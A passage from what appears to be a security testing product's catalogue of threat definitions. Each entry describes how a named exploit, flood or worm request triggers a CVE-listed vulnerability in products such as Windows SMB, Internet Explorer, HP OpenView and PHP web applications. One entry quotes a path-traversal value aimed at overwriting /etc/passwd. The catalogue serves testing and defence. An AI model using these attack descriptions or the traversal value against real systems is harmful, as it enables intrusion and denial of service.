Executive Description:	KAME Cookie Crash (IPv6 Version)
Detailed Description:	This threat causes a crash by sending a malformed cookie ISAKMP packet. ISAKMP normally listens on UDP port 500. (IPv6 Version)
Protocol Type:	ISAKMP/IPv6
Threat Package:	Standard
Threat File Name:	fake_identd_bof.xml
Executive Description:	fakeidentd Remote Exploit
Detailed Description:	This threat causes a buffer overflow condition to occur to the fakeidentd program. fakeidentd is a IDENT daemon that allows administrators to specify their own user IDs for TCP connections. This exploit sends multiple packets containing 19 bytes each, taking advantage of a incorrect read from a socket to a 20 byte buffer. fakeident typically listens on TCP port 113.
Protocol Type:	IDENT
CVEID:	CVE-2002-1792
Threat Package:	Standard
Threat File Name:	FSC20101207-08_Nullsoft_Winamp_MIDI_Timestamp_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Nullsoft Winamp MIDI Timestamp Stack Buffer Overflow (IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Nullsoft Winamp. The vulnerability is due to a boundary error in the "in_midi" component while handling timestamps in MIDI files. Remote attackers can exploit this vulnerability by enticing the target user to open a specially crafted MIDI file. Successful exploitation would lead to to arbitrary code execution in the security context of the logged-in user.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
Threat File Name:	statit_cmi.xml
Executive Description:	Statit V4 Remote File Inclusion exploit
Detailed Description:	This threat sends a crafted HTTP GET query which allows an arbitrary file inclusion via the statitpath argument. Statit is a web application with typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	http_get_url_IPv6.xml
Executive Description:	HTTP Request for Microsoft URL File (IPv6 Version)
Detailed Description:	This threat is an HTTP request for a .LNK file. While not unusual by itself, it can represent either the execution of strange remote code, or an attempted download of malware. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20140915-04_ManageEngine_EventLog_Analyzer_agentUpload_Directory_Traversal_IPv6.xml
Executive Description:	ManageEngine EventLog Analyzer agentUpload Directory Traversal IPv6 version.
Detailed Description:	A code execution vulnerability has been reported in ManageEngine EventLog Analyzer. The vulnerability is due to lack of authentication and insufficient input validation in agentUpload when processing zip files. A remote unauthenticated attacker can upload arbitrary files to arbitrary locations. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges by placing executable files in critical locations. Tester should set variable \$destPort 8400 before test.
Protocol Type:	HTTP.IPV6
CVEID:	CVE-2014-6037
OSVDB:	110642

Threat File Name:	FSC20071107-16_Oracle_Database_Server_XDB_PITRIG_DROPMETADATA_Procedure_Buffer_Overflow_IPv6.xml
Executive Description:	Oracle Database Server XDB PITRIG_DROPMETADATA Procedure Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Oracle Database Server product. The vulnerability exists due to insufficient validation of the arguments supplied to procedure PITRIG_DROPMETADATA in XDB.XDB_PITRIG_PKG package. A remote attacker with valid user credentials may leverage this vulnerability to execute arbitrary code within the security context of the affected service. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2007-4517
Threat Package:	Standard
Threat File Name:	TSL20130409-26_HP_Intelligent_Management_Center_UAM_acmServletDownload_Information_Disclosure_IPv6.xml
Executive Description:	HP Intelligent Management Center UAM [IPv6 Version] acmServletDownload Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in the UAM add-in module of HP Intelligent Management Center. The vulnerability is due to lack of authentication and insufficient input validation in the acmServletDownload servlet when processing HTTP request parameters. By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage this vulnerability to view the contents of arbitrary files on a target system.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2012-5211
OSVDB:	91036
Threat File Name:	FSC20081215-11_MPlayer_demux_open_vqf_TwinVQ_File_Handling_Buffer_Overflow.xml
Executive Description:	MPlayer demux_open_vqf TwinVQ File Handling Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in MPlayer. The flaw is due to boundary error when processing TwinVQ files. A remote attacker may exploit this vulnerability by persuading the target user to open a malicious TwinVQ file. In a successful attack, arbitrary code is supplied and executed on the vulnerable target host. The behaviour of the target system is dependent on the malicious code. Note that any code executed by the attacker runs with the privileges of the logged in user. In an attack where code execution fails, the vulnerable application will terminate abnormally while parsing the malicious TwinVQ file.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS
CVEID:	CVE-2008-5616
Threat Package:	Standard
Threat File Name:	floodICMPportunreachable.xml
Executive Description:	ICMP Port Unreachable Flood
Detailed Description:	This threat sends out an ICMP Port Unreachable flood. This causes a "hard error" for a TCP connection, terminating it. By continuously sending these packets, this can cause a denial of service on the target.
Protocol Type:	ICMP
Threat Package:	Standard
Threat File Name:	msie_ms07-009_IPv6.xml
Executive Description:	Microsoft Internet Explorer ADODB.Recordset Double Free Memory Exploit (ms07-009) (IPv6 Version)
Detailed Description:	This threat uses malicious javascript to leverage a flaw in the NextRecordset() (msado15.dll) function. Internet Explorer is a web browser that connects to web servers typically listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5559
Threat Package:	Standard
Threat File Name:	ms02-015_dso.xml
Executive Description:	MS02-015 Internet Explorer DSO Attack
Detailed Description:	This threat sends out a malicious attack from the virtual server, making use of the DSO flaw in earlier versions of Internet Explorer. This attack could allow a malicious webpage to run any command on the target in the context of the current user. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2002-0078
OSVDB:	3029
Threat Package:	Standard
Threat File Name:	TSL20120206-07_Adobe_Flash_Player_MP4_Sequence_Parameter_Set_Parsing_Buffer_Overflow_IPv6.xml
Executive Description:	Adobe Flash Player MP4 Sequence Parameter Set Parsing Buffer Overflow(IPv6 Version)
Detailed Description:	A stack buffer overflow exists in Adobe Flash Player. The issue can manifest itself when it parses the Sequence Parameter Set structure in an MP4 file. An attacker could exploit this vulnerability by enticing a target user to visit a specially crafted web page. A successful attack leveraging this vulnerability could lead to arbitrary code execution on the vulnerable system in the security context of the affected application.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2011-2140
Threat File Name:	randshop_rfi_IPv6.xml
Executive Description:	Randshop Header.Inc.PHP Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.Randshop is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3375
Threat Package:	Standard
Threat File Name:	claroline2.xml
Executive Description:	Claroline SQL Injection 2
Detailed Description:	This threat injects database commands through a flaw in the Claroline E-Learning Application. Claroline is a web application that typically listens on port 80.
Protocol Type:	HTTP

	CVEID:	CVE-2005-1375
	OSVDB:	16531
	Threat Package:	Standard
Threat File Name:	FSC20110117-02_HP_OpenView_Network_Node_Manager_nnmRptConfig_exe_nameParams_text1_Buffer_Overflow.xml	
Executive Description:	HP OpenView Network Node Manager nnmRptConfig.exe nameParams text1 Buffer Overflow	
Detailed Description:	A buffer overflow vulnerability exists in HP OpenView Network Node Manager. The vulnerability is due to a boundary error in one of the functions in nnmRptConfig.exe while handling the text1 parameter among the nameParams. Remote attackers can exploit this vulnerability by sending a crafted message to the affected service. Successful exploitation may lead to arbitrary code execution in the context of the affected service.	
Protocol Type:	HTTP,HTTPS	
CVEID:	CVE-2011-0268	
Threat File Name:	FSC20100209-09_Microsoft_Office_PowerPoint_Viewer_TextCharsAtom_Record_Buffer_Overflow.xml	
Executive Description:	Microsoft Office PowerPoint Viewer TextCharsAtom Record Buffer Overflow	
Detailed Description:	A stack buffer overflow vulnerability exists in Microsoft Office PowerPoint Viewer. The vulnerability is due to improper validation while processing crafted TextCharsAtom records in a PowerPoint file. Remote attackers could exploit this vulnerability by persuading a target user to open a specially crafted PowerPoint file with the affected application. Successful exploitation would cause a buffer overflow that may lead to arbitrary code execution in the security context of the logged in user, or terminate the application resulting in a Denial of Service condition.	
Protocol Type:	HTTP/HTTPS/FTP/IMAP/POP3/SMB/CIFS/SMTP	
CVEID:	CVE-2010-0034	
Threat Package:	Standard	
Threat File Name:	FSC20080404-04_CA_Multiple_Products_Alert_Notification_Server_Buffer_Overflow_IPv6.xml	
Executive Description:	CA Multiple Products Alert Notification Server Buffer Overflow (IPv6 Version)	
Detailed Description:	There exists a buffer overflow vulnerability in the Alert Service component used by multiple CA products. The vulnerability is due to insufficient data validation in Alert Service component while handling specially crafted RPC requests. A remote authenticated attacker can exploit this vulnerability by sending a crafted RPC request to the target host. As a result of successful exploitation, the attacker can execute arbitrary code with SYSTEM privileges, or cause a denial of service condition. (IPv6 Version)	
Protocol Type:	SMB/IPv6	
CVEID:	CVE-2007-4620	
Threat Package:	Standard	
Threat File Name:	TSL20150226-15_Samsung_iPOLiS_Device_Manager_WriteConfigValue_Stack_Buffer_Overflow_IPv6.xml	
Executive Description:	Samsung iPOLiS Device Manager WriteConfigValue Stack Buffer Overflow IPv6 version.	
Detailed Description:	A stack-based buffer overflow vulnerability exists in Samsung iPOLiS Device Manager. The vulnerability is due to insufficient input validation of a parameter passed to WriteConfigValue() of the XnsSdkDeviceIpInstaller ActiveX control. A remote attacker can exploit this vulnerability by enticing a user to visit a maliciously crafted web page. This can result in code execution in the context of the affected user.	
Protocol Type:	HTTP/HTTPS.IPV6	
CVEID:	CVE-2015-0555	
OSVDB:	118668	
Threat File Name:	TSL20130214-04_WellinTech_KingView_KingMess_Log_File_Parsing_Buffer_Overflow.xml	
Executive Description:	WellinTech KingView KingMess Log File Parsing Buffer Overflow	
Detailed Description:	A buffer overflow vulnerability has been reported in KingView's KingMess. The vulnerability is due to an error while parsing log files. An attacker can exploit this vulnerability by enticing a user to open a specially crafted log file. This can lead to a buffer overflow and possibly code execution in the context of the affected application. If code execution is unsuccessful, the application may terminate unexpectedly.	
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP	
CVEID:	CVE-2012-4711	
OSVDB:	89690	
Threat File Name:	bnbt_get_dos_IPv6.xml	
Executive Description:	BNBT EasyTracker Denial of Service (IPv6 Version)	
Detailed Description:	This threat sends a malformed HTTP request to the BNBT service, causing a denial of service. This can be used to prevent legitimate users from using the service. BNBT is a BitTorrent tracker that typically listens on TCP port 6969. (IPv6 Version)	
Protocol Type:	Proprietary/IPv6	
CVEID:	CVE-2005-2806	
OSVDB:	19069	
Threat Package:	Standard	
Threat File Name:	TSL20110210-01_HP_OpenView_Network_Node_Manager_ovutil_dll_stringToSeconds_Buffer_Overflow.xml	
Executive Description:	HP OpenView Network Node Manager ovutil.dll stringToSeconds Buffer Overflow	
Detailed Description:	A buffer overflow vulnerability exists in HP OpenView Network Node Manager (NNM). The vulnerability is due to a boundary error in the stringToSeconds function defined in the ovutil.dll when processing crafted HTTP request parameters. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to the jovgraph.exe CGI program on a target server, potentially causing arbitrary code to be injected and executed within the security context of the Internet Guest Account.	
Protocol Type:	HTTP,HTTPS	
CVEID:	CVE-2011-0262	
Threat File Name:	ymsgr_webcam_activex_bof.xml	
Executive Description:	Yahoo! Messenger Webcam 8.1 ActiveX Remote Buffer Overflow Vulnerability	
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Yahoo! Messenger Webcam ActiveX application, resulting in the execution of arbitrary code. This threat is delivered via HTTP port 80.	
Protocol Type:	HTTP	
CVEID:	CVE-2007-3148	

Threat Package:	Standard
Threat File Name:	TSL20130131-04_Novell_GroupWise_Client_for_Windows_ActiveX_Code_Execution.xml
Executive Description:	Novell GroupWise Client for Windows ActiveX Code Execution
Detailed Description:	A remote code execution vulnerability exists in the ActiveX control for Novell GroupWise Client for Windows. A remote attacker could exploit this vulnerability by enticing a target to view a specially crafted webpage. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user. Unsuccessful exploitation could cause the application to terminate abnormally, resulting in a denial-of-service condition.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-0439
OSVDB:	89700
Threat File Name:	FSC20070911-11_Microsoft_Agent_Crafted_URL_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Agent Crafted URL Stack Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Windows Agent application. The flaw is due to wrongfully copying an overly large string to a fixed-size stack buffer within the code of agentdpv.dll Dynamic Link Library. By persuading the target user to open a malicious web page, an attacker may execute arbitrary code on the target system within the privileges of the currently logged on user. (IPv6 Version)
Protocol Type:	/IPv6
CVEID:	CVE-2007-3040
Threat Package:	Standard
Threat File Name:	x86NOOPudpSGI_IPv6.xml
Executive Description:	UDP x86 NOOP Variant SGI (IPv6 Version)
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure greater probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives. (IPv6 Version)
Protocol Type:	UDP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20111115-08_Interactive_Data_eSignal_Stack_Buffer_Overflow.xml
Executive Description:	Interactive Data eSignal Stack Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in Interactive Data eSignal. The vulnerability is due insufficient validation of string lengths when copying input into a fixed size stack buffer in certain file types. A remote attacker could exploit this vulnerability by enticing the user to open a maliciously crafted file. Successful exploitation would lead to execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP,HTTPS,SMTP
CVEID:	CVE-2011-3494
Threat File Name:	TSL20170515-06_HPE_Intelligent_Management_Center_dbman_FileTrans_Arbitrary_File_Write_IPv6.xml
Executive Description:	HPE Intelligent Management Center dbman FileTrans Arbitrary File Write (IPv6 Version)
Detailed Description:	An arbitrary file write vulnerability has been reported in the dbman component of HPE Intelligent Management Center. The vulnerability is due to lack of authentication on FileTrans commands, used to transfer files to the host running dbman. A remote, unauthenticated attacker can exploit the vulnerability by sending a maliciously crafted packet to the target server. Successful exploitation could result in an arbitrary file write, which could lead to remote code execution on the target server in the context of SYSTEM or root.
Protocol Type:	HP IMC DBMan Protocol,IPv6
CVEID:	CVE-2017-5822
Threat File Name:	mambo_reg_component_rfi.xml
Executive Description:	Mambo Extended Registration Component mosConfig_absolute_path Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Mambo Extended Registration Component is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	phpmychat_xss_c.xml
Executive Description:	PHPMyChat users_popupL.php Cross-Site Scripting Vulnerabilities
Detailed Description:	This threat sends a crafted URL that contains Javascript to be included in the returned page. PHPMyChat is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-3991
OSVDB:	21546
Threat File Name:	FSC20101207-08_Nullsoft_Winamp_MIDI_Timestamp_Stack_Buffer_Overflow.xml
Executive Description:	Nullsoft Winamp MIDI Timestamp Stack Buffer Overflow
Detailed Description:	A code execution vulnerability exists in Nullsoft Winamp. The vulnerability is due to a boundary error in the "in_midi" component while handling timestamps in MIDI files. Remote attackers can exploit this vulnerability by enticing the target user to open a specially crafted MIDI file. Successful exploitation would lead to to arbitrary code execution in the security context of the logged-in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
Threat File Name:	phpworm3_IPv6.xml
Executive Description:	phpinclude.worm Attack 3 (IPv6 Version)
Detailed Description:	This threat attacks a common programming mistake in PHP. The PHP include worm attacks using a generic form of this attack. This is a sample of one version of this worm. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20101012-51_Microsoft_Internet_Explorer_HtmlDlgHelper_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer HtmlDlgHelper Memory Corruption (IPv6 Version)

Detailed Description:	A code execution vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an error while handling objects which have been improperly created or have been deleted in an HTML file opened by Microsoft Office applications, such like Word. An attacker can exploit this vulnerability by enticing a user to download and process a malicious file with the vulnerable application. This can lead to remote code execution in the context of the logged on user.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,IMAPS,POP3,POP3-S,SMTP
CVEID:	CVE-2010-3329
Threat Package:	Standard
Threat File Name:	acal_cmi.xml
Executive Description:	ACal 2.2.6 Arbitrary Command Execution
Detailed Description:	This threat sends a crafted HTTP GET query which includes an arbitrary remote file containing PHP code which is executed by the server via the day.php "path" parameter. ACal is a web based application with typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2261
Threat Package:	Standard
Threat File Name:	FSC20081104-21_Adobe_Acrobat_PDF_Font_Processing_Memory_Corruption.xml
Executive Description:	Adobe Acrobat PDF Font Processing Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Adobe Reader and Acrobat products. The vulnerability is due to improper data validation when parsing crafted font data in PDF documents. Remote attackers could exploit this vulnerability by persuading the target users to open a malicious PDF document and execute arbitrary code. In a more sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the currently logged in user. If the attack does not result in code execution, the affected application may terminate due to memory corruption. Note that Assurent has not been able to reproduce the vulnerability within the research period.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS
CVEID:	CVE-2008-4813
Threat Package:	Standard
Threat File Name:	trend_IPv6.xml
Executive Description:	Trend Micro Denial of Service (IPv6 Version)
Detailed Description:	This threat sends a buffer overflow HTTP GET request aimed at a vulnerable web management service that runs on TrendMicro's Interscan Viruswall. This web management interface normally runs on port 1812. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2001-0432
OSVDB:	539
Threat Package:	Standard
Threat File Name:	FSC20100831-02_Novell_NetWare_OpenSSH_Buffer_Overflow.xml
Executive Description:	Novell NetWare OpenSSH Buffer Overflow
Detailed Description:	A buffer stack-based overflow vulnerability exists in Novell Netware. The vulnerability is due to a boundary error in SSHD.NLM and SFTP-SVR.NLM modules when processing user sessions. Remote authenticated attackers can exploit this vulnerability to inject and execute arbitrary code with <italic>admin</italic> privileges via sending an overly long string argument to the affected service. In attack scenarios where code execution is successful the behaviour of the affected server depends entirely on the intention of the injected code. In situations where code execution is not successful the affected service may terminate abnormally, causing a denial of service condition.
Protocol Type:	SSH
Threat Package:	Standard
Threat File Name:	TSL20170420-05_Mozilla_Firefox_http-index-format_File_Out-Of-Bounds_Read.xml
Executive Description:	Mozilla Firefox http-index-format File Out-Of-Bounds Read
Detailed Description:	An out-of-bounds read has been reported in Mozilla Firefox. The vulnerability is due to improper parsing of application/http-index-format format content which can result in a read past the end of an allocated object. A remote attacker could exploit this vulnerability by enticing a user to open a maliciously crafted webpage. Successful exploitation could result in disclosure of information which could be used to further compromise the target system.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2017-5444
Threat File Name:	nimda3_IPv6.xml
Executive Description:	Nimda Request URL 3 (IPv6 Version)
Detailed Description:	This threat issues out a request URL in the same format as the Nimda worm, looking for vulnerable machines. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20080122-02_IBM_Tivoli_Provisioning_Manager_for_OS_Deployment_HTTP_Server_Buffer_Overflow.xml
Executive Description:	IBM Tivoli Provisioning Manager for OS Deployment HTTP Server Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in IBM Tivoli Provisioning Manager for OS Deployment. The flaw is due to a boundary error in the HTTP server component when processing crafted HTTP requests. A remote unauthenticated attacker may leverage this vulnerability to create a denial of service condition of the affected service, or inject and execute arbitrary code on the target host with privileges of the affected service.
Protocol Type:	HTTPS
CVEID:	CVE-2008-0401
Threat Package:	Standard
Threat File Name:	galleria_afi_IPv6.xml
Executive Description:	Galleria 1.0 Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP GET query containing the path of a script file to be included via galleria.html.php "mosConfig_absolute_path" parameter. Galleria is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20120530-05_Cisco_WebEx_Recording_Format_Player_atd12006_dll_Integer_Overflow.xml

Executive Description:	Cisco WebEx Recording Format Player atdl2006.dll Buffer Overflow
Detailed Description:	A code execution vulnerability exists in Cisco WebEx Recording Format (WRF) Player. This vulnerability is due to a buffer overflow when WRF player handles WRF files. A remote attacker can leverage this vulnerability by crafting a WRF file and enticing a target user to view the malicious file. Successful exploitation would result in execution of arbitrary code on the target host in the context of the application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
Threat File Name:	TSL20160810-08_Trend_Micro_Control_Manager_ProductTree_Information_Disclosure_IPv6.xml
Executive Description:	Trend Micro Control Manager ProductTree Information Disclosure (IPv6 Version)
Detailed Description:	An XML external entity (XXE) processing vulnerability has been reported in Trend Micro Control Manager. The vulnerability is due to lack of validation of user-supplied input prior to executing an XML query in ProductTree.aspx. A remote, authenticated attacker could exploit this vulnerability by sending a malicious HTTP request to the target system. Successful exploitation could allow the attacker to read arbitrary files from the target system.
Protocol Type:	HTTPS, IPv6
CVEID:	CVE-2016-6220
Threat File Name:	sipinvitebadschemefrom.xml
Executive Description:	SIP INVITE Bad Scheme From: Field
Detailed Description:	This threat sends out a SIP INVITE message with a From: field using a name: URI. This can confuse or crash a PBX that is not very robust.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	FSC20070726-10_Microsoft_Windows_ShellExecute_and_IE7_URL_Handling_Code_Execution.xml
Executive Description:	Microsoft Windows ShellExecute and IE7 URL Handling Code Execution
Detailed Description:	A vulnerability has been reported in Microsoft Windows that could be exploited by remote attackers to compromise a vulnerable system. The issue exists in the interaction between ShellExecute and IE7 URLMon component when handling malformed URLs. Successful exploitation would allow the attacker to execute arbitrary command on the vulnerable client system within the context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-3896
Threat Package:	Standard
Threat File Name:	wins_heap2.xml
Executive Description:	MS04-045 WINS Heap Overflow Exploit 2
Detailed Description:	This threat is another variation on the WINS exploit and is part of a worm trying to infect the machine. WINS typically listens on port 42.
Protocol Type:	WINS
CVEID:	CVE-2004-1080
OSVDB:	12378
Threat Package:	Standard
Threat File Name:	tar_directory_traversal_IPv6.xml
Executive Description:	Malicious Compressed Tar File (IPv6 Version)
Detailed Description:	This threat mimics the downloading of a malicious tar file from a webserver. This malicious tar file contains the file ../../../../../../etc/passwd. This is an attempt to overwrite the passwd file in a Unix system. Some virus scanning tools and versions of tar are susceptible to this kind of attack. Webservers typically listen on port 80. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2670
OSVDB:	18812
Threat Package:	Standard
Threat File Name:	tlm_cms_rfi_IPv6.xml
Executive Description:	TLM CMS <= 1.1 (i-accueil.php chemin) Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.TLM CMS is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	peerCast_bof.xml
Executive Description:	PeerCast Remote Buffer Overflow Vulnerability
Detailed Description:	This threat sends a crafted HTTP GET query to the peerCast server causing a buffer overflow condition. PeerCast typically listens on port 7144.
Protocol Type:	HTTP
CVEID:	CVE-2006-1148
Threat Package:	Standard
Threat File Name:	FSC20070710-11_Microsoft_Windows_Active_Directory_Crafted_LDAP_Request_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows Active Directory Crafted LDAP Request Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a heap overflow vulnerability in the way Microsoft Windows Active Directory handles LDAP messages. The vulnerability is due to lack of validation for entry length in the LDAP modify message. Remote unauthenticated attackers can exploit this vulnerability to inject and execute arbitrary code on the affected target with System level privileges. (IPv6 Version)
Protocol Type:	LDAP/IPv6
CVEID:	CVE-2007-0040
Threat Package:	Standard
Threat File Name:	FSC20080212-17_Microsoft_Word_File_Handling_Memory_Corruption.xml
Executive Description:	Microsoft Word File Handling Memory Corruption

Detailed Description:	A memory corruption vulnerability exists in the way Microsoft Word processes DOC files. The vulnerability is a result of invalid calculation while parsing File Information Block (FIB). A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Word document, potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2008-0109
Threat Package:	Standard
Threat File Name:	BGPkeepAlive_IPv6.xml
Executive Description:	BGP Keep Alive Flood (IPv6 Version)
Detailed Description:	This is a flood of the Border Gateway Protocol's keep alive message. BGP typically uses port 179. (IPv6 Version)
Protocol Type:	BGP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20170314-36_Microsoft_Windows_SMB_Server_SMBv1_CVE-2017-0145_Buffer_Overflow.xml
Executive Description:	Microsoft Windows SMB Server SMBv1 CVE-2017-0145 Buffer Overflow
Detailed Description:	A remote code execution vulnerability has been reported in the SMBv1 component of Microsoft Windows SMB server. The vulnerability is due to improper handling SMBv1 requests. A remote attacker could exploit these vulnerability by sending crafted SMBv1 messages to a target server. Successful exploitation could result in arbitrary code execution under the security context of the SYSTEM.
Protocol Type:	SMB/CIFS
CVEID:	CVE-2017-0145
Threat File Name:	FSC20091209-02_Novell_iPrint_Client_ienipp.ocx_volatile-date-time_Parsing_Buffer_Overflow.xml
Executive Description:	Novell iPrint Client ienipp.ocx volatile-date-time Parsing Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Novell iPrint Client. The vulnerability is due to a boundary error when parsing malicious persistence parameter values. A remote attacker can exploit this vulnerability by enticing a target user to open a malicious web page, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-1569
Threat Package:	Standard
Threat File Name:	FSC20060130-02_Nullsoft_Winamp_Player_Computer_Name_Handling_Buffer_Overflow_IPv6.xml
Executive Description:	Nullsoft Winamp Player Computer Name Handling Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Nullsoft Winamp Player. The vulnerability is caused by insufficient data sanitization during playlist file processing. An attacker may exploit the vulnerability by enticing a user to open a crafted playlist file with the affected product, resulting in execution of arbitrary code on the target host. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0476
Threat Package:	Standard
Threat File Name:	TSL20140501-07_Apache_Struts_ActionForm_ClassLoader_Security_Bypass_IPv6.xml
Executive Description:	Apache Struts ActionForm ClassLoader Security Bypass(IPv6 Version)
Detailed Description:	A security bypass vulnerability exists in Apache Struts. The vulnerability is due to inadequate validation of data processed by the ActionForm class allowing for manipulation of the ClassLoader. A remote unauthenticated attacker could exploit this vulnerability by providing a "class" parameter in an HTTP request. Successful exploitation will result in a security bypass which could lead to sandbox bypass and arbitrary code execution.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2014-0114
OSVDB:	106409
Threat File Name:	CiscoIPV4swipe.xml
Executive Description:	CISCO IPv4 Packet Processing Denial of Service (SWIPE)
Detailed Description:	This attack sends a specifically created IPv4 packet representing the SWIPE protocol. Can cause some Cisco equipment to erroneously close down their interfaces, causing a denial of service. This results in all further traffic being dropped by the interface.
Protocol Type:	IP
CVEID:	CVE-2003-0567
OSVDB:	2325
Threat Package:	Standard
Threat File Name:	TSL20110809-05_Microsoft_Internet_Explorer_Style_Object_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Style Object Memory Corruption
Detailed Description:	A remote code execution vulnerability exists in Microsoft's Internet Explorer (IE). The vulnerability is due to insufficient validation of an object assigned as a style's behaviour. A remote attacker can exploit this vulnerability by enticing a target user to visit a crafted web page in IE. Successful exploitation could result in execution of arbitrary code in the target user's security context. An unsuccessful exploitation attempt may result in the abnormal termination of the affected IE process.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-1964
Threat File Name:	ms03-032.xml
Executive Description:	MS03-032 Object Data Command Execution
Detailed Description:	This threat causes command execution through a malicious object file using wsh. It represents the ability to bypass security restrictions on Internet Explorer in order to gain control of a user's computer. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2003-0838
OSVDB:	7872
Threat Package:	Standard

Threat File Name:	TSL20120516-11_Apple_QuickTime_PICT_File_Processing_Memory_Corruption_IPv6.xml
Executive Description:	Apple QuickTime PICT File Processing Memory Corruption(IPv6)
Detailed Description:	A memory corruption vulnerability exists in Apple QuickTime. The vulnerability is due to the way that Apple QuickTime processes malformed PICT files.A remote unauthenticated attacker can exploit this vulnerability by enticing a user to download and process a specially crafted PICT file. This could possibly lead to code execution in the security context of the currently logged on user.
Protocol Type:	IPv6_HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
CVEID:	CVE-2012-0671
OSVDB:	81942
Threat File Name:	TSL20170612-07_Schneider_Electric_U.motion_Builder_css.inc.php_Arbitrary_File_Inclusion_IPv6.xml
Executive Description:	Schneider Electric U.motion Builder css.inc.php Arbitrary File Inclusion (IPv6 Version)
Detailed Description:	An arbitrary file inclusion vulnerability has been reported in Schneider Electric U.motion Builder. This vulnerability is caused by improper sanitization of directory traversal characters(..) by css.inc.php. A remote, unauthenticated attacker could exploit this vulnerability by sending a malicious request to the server. Successful exploitation results in information disclosure.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2017-7974
Threat File Name:	smtpFormat_IPv6.xml
Executive Description:	SMTP Server Error Message Format String Overflow (IPv6 Version)
